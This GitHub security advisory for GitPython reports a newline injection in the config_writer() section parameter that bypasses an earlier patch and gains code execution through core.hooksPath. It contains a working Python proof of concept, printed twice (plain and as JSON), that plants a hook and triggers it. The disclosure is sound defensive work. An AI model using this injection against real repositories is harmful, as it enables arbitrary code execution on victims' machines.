GHSA-MV93-W799-CJ2W

Vulnerability from github – Published: 2026-05-08 23:19 – Updated: 2026-05-08 23:19
VLAI
Summary
GitPython: Newline injection in config_writer() section parameter bypasses CVE-2026-42215 patch, enabling RCE via core.hooksPath
Details

Summary

The patch for CVE-2026-42215 (GitPython 3.1.49) validates newlines only in the value parameter of set_value(). The section and option parameters are passed to configparser without any newline validation. An attacker who controls the section argument can inject \n to write arbitrary section headers into .git/config, including a forged [core] section with hooksPath pointing to an attacker-controlled directory, leading to RCE when any git hook is triggered.

Details

File: git/config.py — GitPython 3.1.49 (latest patched version)

  def set_value(self, section: str, option: str, value) -> "GitConfigParser":
      value_str = self._value_to_string_safe(value)   # only value is validated
      if not self.has_section(section):
          self.add_section(section)                    # section not validated
      super().set(section, option, value_str)          # option not validated
      return self

_write() formats section headers as "[%s]\n" % name. When section = "user]\n[core", this writes [user]\n[core]\n — two valid section headers — into .git/config.

PoC

  import git, os, subprocess

  repo = git.Repo.init("/tmp/bypass_test")

  os.makedirs("/tmp/evil_hooks", exist_ok=True)
  with open("/tmp/evil_hooks/pre-commit", "w") as f:
      f.write("#!/bin/sh\nid > /tmp/rce_proof.txt\n")
  os.chmod("/tmp/evil_hooks/pre-commit", 0o755)

  # Inject newline into section parameter (not value — already patched)
  with repo.config_writer() as cw:
      cw.set_value("user]\n[core", "hooksPath", "/tmp/evil_hooks")

  r = subprocess.run(["git", "-C", "/tmp/bypass_test", "config", "core.hooksPath"],
                     capture_output=True, text=True)
  print(r.stdout.strip())  # → /tmp/evil_hooks

  subprocess.run(["git", "-C", "/tmp/bypass_test", "commit", "--allow-empty", "-m", "x"])
  print(open("/tmp/rce_proof.txt").read())  # → uid=1000(...) RCE confirmed

Impact

Same attack outcome as CVE-2026-42215 (RCE via core.hooksPath injection). The patch is incomplete — only value is validated while section and option remain injectable.

Severity
7.0 (High)
CVSS:3.1/AV:L/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H
Show details on source website
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{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 3.1.49"
      },
      "package": {
        "ecosystem": "PyPI",
        "name": "GitPython"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "3.1.50"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-20"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-08T23:19:02Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "Summary\n\nThe patch for CVE-2026-42215 (GitPython 3.1.49) validates newlines only in the value parameter of set_value(). The section and option parameters are passed to configparser without any newline validation. An attacker who controls the section argument can inject \\n to write arbitrary section headers into .git/config, including a forged [core] section with hooksPath pointing to an attacker-controlled directory, leading to RCE when any git hook is triggered.\n\nDetails\n\nFile: git/config.py \u2014 GitPython 3.1.49 (latest patched version)\n\n```python\n  def set_value(self, section: str, option: str, value) -\u003e \"GitConfigParser\":\n      value_str = self._value_to_string_safe(value)   # only value is validated\n      if not self.has_section(section):\n          self.add_section(section)                    # section not validated\n      super().set(section, option, value_str)          # option not validated\n      return self\n```\n\n_write() formats section headers as \"[%s]\\n\" % name. When section = \"user]\\n[core\", this writes [user]\\n[core]\\n \u2014 two valid section headers \u2014 into .git/config.\n\nPoC\n\n```python\n  import git, os, subprocess\n\n  repo = git.Repo.init(\"/tmp/bypass_test\")\n\n  os.makedirs(\"/tmp/evil_hooks\", exist_ok=True)\n  with open(\"/tmp/evil_hooks/pre-commit\", \"w\") as f:\n      f.write(\"#!/bin/sh\\nid \u003e /tmp/rce_proof.txt\\n\")\n  os.chmod(\"/tmp/evil_hooks/pre-commit\", 0o755)\n\n  # Inject newline into section parameter (not value \u2014 already patched)\n  with repo.config_writer() as cw:\n      cw.set_value(\"user]\\n[core\", \"hooksPath\", \"/tmp/evil_hooks\")\n\n  r = subprocess.run([\"git\", \"-C\", \"/tmp/bypass_test\", \"config\", \"core.hooksPath\"],\n                     capture_output=True, text=True)\n  print(r.stdout.strip())  # \u2192 /tmp/evil_hooks\n\n  subprocess.run([\"git\", \"-C\", \"/tmp/bypass_test\", \"commit\", \"--allow-empty\", \"-m\", \"x\"])\n  print(open(\"/tmp/rce_proof.txt\").read())  # \u2192 uid=1000(...) RCE confirmed\n```\n\nImpact\n\nSame attack outcome as CVE-2026-42215 (RCE via core.hooksPath injection). The patch is incomplete \u2014 only value is validated while section and option remain injectable.",
  "id": "GHSA-mv93-w799-cj2w",
  "modified": "2026-05-08T23:19:02Z",
  "published": "2026-05-08T23:19:02Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-mv93-w799-cj2w"
    },
    {
      "type": "ADVISORY",
      "url": "https://github.com/advisories/GHSA-rpm5-65cw-6hj4"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/gitpython-developers/GitPython"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "GitPython: Newline injection in config_writer() section parameter bypasses CVE-2026-42215 patch, enabling RCE via core.hooksPath"
}



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